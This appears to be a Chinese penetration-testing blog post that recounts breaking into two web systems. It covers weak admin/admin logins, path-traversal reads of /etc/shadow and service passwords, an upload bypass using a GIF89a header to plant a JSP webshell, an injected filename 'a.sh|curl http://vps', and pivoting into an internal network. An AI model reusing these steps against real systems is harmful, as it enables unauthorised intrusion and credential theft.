标签:简单 time sys post请求 ado http gets 编译 案例
案例是在最近项目中遇到的俩个站,挺有意思的,所以分享出来。第一个站getshell后,内网简单的看了下,发现不是目标就没深入。
1、弱口令
弱口令:admin admin进入网站后台
2、任意文件下载
在系统配置备份模块发现http://xxx.xxx.xxx.xxx/DownloadServlet?fileName=xxx这样的链接。
尝试读取/etc/passwd文件,发现是linux系统
读取/etc/shadow文件,能读取,猜测web服务是root权限,拿到root口令去破解,跑了一下午结果也没出来,放弃这条路。
3、找网站根目录
读取了ftp的密码和quagga服务的密码,ftp因为没有写权限(放弃)。Quagga连接上去只能看下路由信息。只能读网站源码审计一波。读取/root/.bash_history发现失败,可能是管理员删除了。
读取/etc/rc.local
文件挨个下载看一遍发现读取到/usr/local/ac/bin/preload这个文件时,打开发现/etc/ac_preload.sh的脚本
脚本中发现tomcat安装路径。
读取server.xml发现web目录。
4、审计源码找上传
读取web.xml
读取structs-config.xml,找到俩处上传点,这俩写的都有问题,只看SwuploadAction这一块代码。
下载SwuploadAction代码。http://xxx.xxx.xxx.xxx/DownloadServlet?fileName=../../../usr/local/ac/web/ac-web/WEB-INF/classes/com/gbcom/business.action.sysoper.SwUploadAction用jd-gui反编译。通过代码发现上传代码并没有过滤,找到上传路径。后台页面找到上传点,由于后台前端上传组件限制后缀,直接通过burp绕过。最终getshell。
仔细看上图199行,开始以为存在命令注入。后来文件名尝试注入a.sh|curl http://vps发现命令执行不了。查文档发现下面这样写才能注入命令
java.lang.Runtime.getRuntime().exec(new String[]{ "cmd", "/c", "calc|注入的命令"});
后来,挂上代理打内网。发现内网好多路由交换设备,默认admin/admin都能登陆。发现自己搞的站和目标不一致,内网就没在深入。
后台地址直接出来,弱口令失败。
右键源码发现
后台找到上传点,尝试上传绕过。开始url请求的filename没有参数。发现加上参数能直接写入jsp,修改post请求体的filename,直接就被waf拦截。最后通过GIF89a文件头绕过。
实战中需要黑白盒一起搞,细心很重要。
标签:简单 time sys post请求 ado http gets 编译 案例
原文地址:https://www.cnblogs.com/afanti/p/12663764.html